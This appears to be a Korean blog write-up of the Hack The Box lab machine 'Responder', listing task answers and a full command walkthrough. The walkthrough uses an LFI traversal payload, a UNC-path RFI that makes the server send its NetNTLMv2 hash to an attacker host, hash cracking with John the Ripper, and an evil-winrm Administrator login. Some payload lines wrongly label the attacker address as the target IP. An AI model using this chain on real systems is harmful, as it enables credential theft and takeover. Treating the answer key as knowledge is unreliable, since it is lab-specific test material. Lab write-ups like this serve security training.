본문 바로가기
CTF/HTB

Responder

 

1. Target Overview (머신 요약)

  • Target Name: Responder
  • OS: Windows
  • Difficulty: Tier 1 (Starting Point)
  • Vulnerability: Local/Remote File Inclusion (LFI/RFI), NTLM Hash Leakage (NTLM 해시 유출)
  • Attack Vector: PHP 파라미터 조작 ➔ SMB 강제 인증 유발(Responder) ➔ 해시 크래킹(John the Ripper) ➔ WinRM 원격 접속

2. 핵심 개념 총정리

① 파일 포함 취약점 (LFI / RFI)

  • LFI (Local File Inclusion)
    • 웹 애플리케이션이 사용자 입력값을 검증하지 않고 서버 내부의 로컬 파일을 로드(Include)할 때 발생하는 취약점
    • 디렉토리 트래버설(../) 기법을 통해 시스템 설정 파일이나 패스워드 파일을 탈취가능
  • RFI (Remote File Inclusion)
    • LFI와 유사하나, 공격자가 제어하는 외부 원격 서버의 악성 스크립트나 리소스를 타겟 서버가 직접 로드하여 실행하게 만드는 치명적인 취약점
    • (예: URI 스킴 또는 UNC 경로 삽입)

 

② NTLM 인증 체계 및 강제 인증 (Authentication Coercion)

  • NTLM (New Technology LAN Manager)
    • Windows 환경에서 사용되는 챌린지-응답(Challenge-Response) 방식의 인증 프로토콜
  • Responder 도구
    • 공격자가 타겟 네트워크 내에서 가짜 SMB/HTTP 서버 역할을 수행
    • RFI 취약점 등을 통해 타겟 시스템이 공격자의 시스템 파일 리소스(UNC 경로, 예: \\공격자IP\share)를 요청하도록 유도하면, 타겟은 공격자에게 자신의 NetNTLMv2 해시(자격 증명)를 전송

 

③ WinRM (Windows Remote Management)

  • Windows 시스템을 원격으로 관리하기 위해 Microsoft에서 제공하는 SOAP 기반 프로토콜
  • 기본적으로 5985/tcp(HTTP) 또는 5986/tcp(HTTPS) 포트 사용
  • 탈취한 관리자 자격 증명을 이용해 CLI 환경(Evil-WinRM 도구 등)으로 시스템을 제어가

[Task 1] When visiting the web service using the IP address, what is the domain that we are being redirected to?

  • 정답: unika.htb
  • 분석
    • 타겟 IP(80/tcp)에 접속 시 HTTP 302 Redirection을 통해 도메인 네임 기반 가상 호스팅 주소로 라우팅됨.
    • 이를 해결하기 위해 로컬 공격자 PC의 /etc/hosts 파일에 타겟 IP와 unika.htb 도메인을 매핑해야 정상적인 접속이 가능

[Task 2] Which scripting language is being used on the server to generate webpages?

  • 정답: php
  • 분석
    • 웹 페이지의 소스코드 및 URL 확장자를 분석한 결과, 동적 페이지 생성을 위해 서버 사이드 스크립팅 언어인 PHP가 사용되고 있음을 식별

[Task 3] What is the name of the URL parameter which is used to load different language versions of the webpage?


[Task 4] Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: ...

  • 정답: ../../../../../../../../windows/system32/drivers/etc/hosts
  • 분석
    • page 파라미터에 디렉토리 트래버설 구문(../)을 다수 삽입
    • 웹 루트 상위 디렉토리를 벗어나 Windows OS의 로컬 로컬 설정 파일(hosts)을 강제로 읽어들이는 전형적인 LFI 공격 페이로드

[Task 5] Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: ...

  • 정답: //[타겟ip]/somefile
  • 분석
    • page 파라미터에 공격자의 IP가 포함된 원격 UNC 경로를 삽입
    • 타겟 서버가 외부 네트워크의 리소스를 로드(Include)하도록 강제하는 RFI 공격 페이로드
 //[타겟ip]/somefile
 

[Task 6] What does NTLM stand for?

  • 정답: New Technology LAN Manager
  • 분석
    • Active Directory 기반 환경이나 구형 Windows 시스템에서 인증을 위해 사용되는 Microsoft의 독자적인 보안 프로토콜 스위트

[Task 7] Which flag do we use in the Responder utility to specify the network interface?

  • 정답: -I
  • 분석
    • Responder 실행 시, 공격자의 리스닝 네트워크 인터페이스(예: VPN에 연결된 tun0)를 지정하기 위해 사용하는 CLI 파라미터

[Task 8] There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?

  • 정답: John the Ripper
  • 분석
    • 탈취한 해시(NetNTLMv2 등)를 사전에 정의된 단어장(Wordlist, 예: rockyou.txt)과 대조로 원본 평문 패스워드를 알아내는 세계적으로 유명한 오프라인 브루트포스 해시 크래킹 자동화 도구

[Task 9] What is the password for the administrator user?

  • 정답: badminton
  • 분석: John the Ripper를 이용하여 탈취한 Administrator 계정의 NetNTLMv2 해시값을 크래킹한 결과 도출된 평문 비밀번호

[Task 10] We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?

  • 정답: 5985
  • 분석: Nmap 스캔을 통해 확인된 포트로, HTTP를 기반으로 동작하는 Windows 원격 관리 서비스(WinRM)의 기본 대기 포트

[Root Flag] 시스템 침투 및 플래그 추출

  • 분석: 이번 침투는 RFI를 통한 NTLM 해시 유출 ➔ 크래킹 ➔ 원격 제어의 유기적인 시퀀스로 진행됩니다.
  1. 로컬 공격자 PC에서 가짜 SMB 리스너인 Responder를 가동
  2. 웹 브라우저에서 취약한 page 파라미터에 공격자 PC의 가짜 UNC 경로(http://unika.htb/index.php?page=//[공격자IP]/share)를 삽입하여 요청
  3. 타겟 Windows 서버는 해당 리소스를 가져오기 위해 공격자의 Responder 데몬에 접근하며, 이 과정에서 Administrator의 NetNTLMv2 해시를 전송
  4. 포획한 해시를 텍스트 파일(hash.txt)로 저장하고, John the Ripper를 이용해 오프라인 크래킹을 수행하여 평문 패스워드(badminton)를 획득
  5. Ruby 기반의 evil-winrm 도구를 사용하여 타겟의 5985 포트에 Administrator 자격 증명으로 접속, 시스템의 최고 제어권을 획득하고 플래그를 탈취
# 1. 공격자 환경에서 Responder 실행 (tun0 인터페이스)
sudo responder -I tun0

# 2. 웹 브라우저를 통해 악의적인 RFI 페이로드 삽입
http://unika.htb/index.php?page=//[Target IP]/share
# -> Responder 터미널 창에 Administrator의 NetNTLMv2 해시가 캡처됨

# 3. 해시 크래킹 (John the Ripper & Rockyou 단어장 활용)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# 결과: badminton

# 4. 탈취한 크리덴셜로 WinRM 원격 접속 (Evil-WinRM 활용)
evil-winrm -i [Target IP] -u Administrator -p badminton

# 5. 접속 후 플래그 추출
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat flag.txt
 
.

 

 

'CTF > HTB' 카테고리의 다른 글

Funnel  (0) 2026.04.06
Three  (0) 2026.04.06
Crocodile  (0) 2026.04.06
Sequel  (0) 2026.04.06
Appointment  (1) 2026.04.06

Discussion 0